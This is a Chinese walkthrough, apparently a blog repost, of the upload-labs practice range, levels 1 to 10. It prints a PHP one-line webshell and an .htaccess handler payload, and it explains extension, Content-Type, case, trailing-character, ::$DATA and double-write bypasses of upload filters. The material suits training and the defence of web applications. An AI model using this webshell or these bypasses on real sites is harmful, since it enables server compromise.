1.环境配置
使用phpstudy 2018 搭建靶场
2.UPLOAD-LABS 01--10
简单一句话木马
<?php
phpinfo();
@eval($_POST['pass']);
?>
部分企业不允许上传木马,可用是否有phpinfo();页面查看是否木马上传成功。
1.upload-labs01
查看源码:为js代码前端过滤,只允许jpg/png/gif后缀文件
用记事本编辑rsec.txt文件写入一句话木马,改后缀为.jpg上传
burpsuite抓包后改后缀为.php
上传后访问文件上传所在的位置可看到phpinfo();,表示上传成功,如图:
2.upload-labs02
查看源码,发现白名单只允许content-type固定三种类型的文件上传:
bp抓包后修改Content-Type类型为:
成功后访问文件位置,显示为:
3.upload-labs03
查看源码,可知为绕过黑名单上传:
2)前置条件
上传图⽚时,如果提示不允许 php、asp 这种信息提示,可判断为⿊名单限制,上传⿊名单以
外的后缀名即可;
在 iis ⾥ asp 禁⽌上传了,可以上传 asa cer cdx 这些后缀,如在⽹站⾥允许.net 执⾏可以
上传 ashx 代 替 aspx。如果⽹站可以执⾏这些脚本,通过上传后⻔即可获取 webshell ;在不同的中间件中有特殊的情况,如果在 apache 可以开启 application/x-httpd-php 在 AddType application/x-httpd-php .php .phtml .php3 后缀名为 phtml 、php3 均被解析成 php 有的 apache 版本默认就会开启; 注意本实验需要开启⼀个参数,否则实验失败。 上传⽬标中间件可⽀持的环境的语⾔脚本即可,如.phtml、php3;
关于AddType命令的作⽤解释
AddType 指令 作⽤:在给定的⽂件扩展名与特定的内容类型之间建⽴映射 语法:AddType MIME
type extension
[extension] …
AddType指令在给定的⽂件扩展名与特定的内容类型之间建⽴映射关系。MIME-type指明了包含extension扩展名的⽂件的媒体类型。
AddType 是与类型表相关的,描述的是扩展名与⽂件类型之间的关系。
可以在httpd.conf⽂件中查看AddType 的设置情况;注:新版的phpstudy貌似没有这个了,实验
的话只能使⽤⽼版的了;
去掉注释符保存重启
4.upload-labs04:
查看源码为漏过滤了.htaccess文件后缀,文件代码为:
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
上传模块,⿊名单过滤了所有的能执⾏的后缀名,如果允许上传.htaccess。htaccess ⽂件的作⽤是可以帮我们实现包括:⽂件夹密码保护、⽤户⾃动重定向、⾃定义错误⻚⾯、改变你的⽂
件扩展名、封禁特定 IP 地址的⽤户、只允许特定 IP 地址的⽤户、禁⽌⽬录列表,以及使⽤其
他⽂件作为 index ⽂件等⼀些功能;
在 htaccess ⾥写⼊ SetHandler application/x-httpd-php 则可以⽂件重写成 php ⽂件。
要 htaccess 的规则⽣效 则需要在 apache 开启 rewrite 重写模块,因为 apache 是多数都开
启这个模块,所以规则⼀般都⽣效;
直接上传.jpg文件:
访问可得:
5.upload-labs05
查看源码,可利用大写小绕过:
bp抓包修改为.PhP后缀
访问可得:
6.upload-labs06
查看源码,可知是windows空格漏洞,windows自动删除文件后缀空格:
加上空格:
访问可得:
7.upload-labs07
查看源码,遗漏了删除文件末尾的"."
文件后缀改为.php.
访问可得:
8.upload-labs08
查看源码可知遗漏过滤“::$DATA”
在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名
例如:"phpinfo.php::$DATA"Windows会自动去掉末尾的::$DATA变成"phpinfo.php"
查看可知:
9.upload-labs09
利用windows 环境的叠加特征原理
在 windwos 中如果上传⽂件名 rsec9.php:.jpg 的时候,会在⽬录下⽣产空⽩的⽂件名rsec9.php;
再利⽤ php 和 windows 环境的叠加属性写⼊内容;
以下符号在正则匹配时相等:
● 双引号" 等于 点号.
● ⼤于符号> 等于 问号?
● ⼩于符号< 等于 星号*
● ⽂件名.<或⽂件名.<<<或⽂件名.>>>
利⽤ windows 环境的叠加特征绕过上传攻击
提交数据包中将内容写⼊⽂件名rsec9.>>> 中,>>>类似通配符匹配到rsec9.php
访问可知:
10.upload-labs10
查看源码可知,在上传模块,有的代码会把⿊名单的后缀名替换成空,例如 a.php 会把 php 替换成空,但 是可以使⽤双写绕过例如 asaspp,pphphp,即可绕过上传;同样是⿊名单过滤。str_ireplace 对上传的后缀名是⿊名单内的字符串转换成空;
访问可知:
版权归原作者 前轱辘转后轱辘不转思密达_ 所有, 如有侵权,请联系我们删除。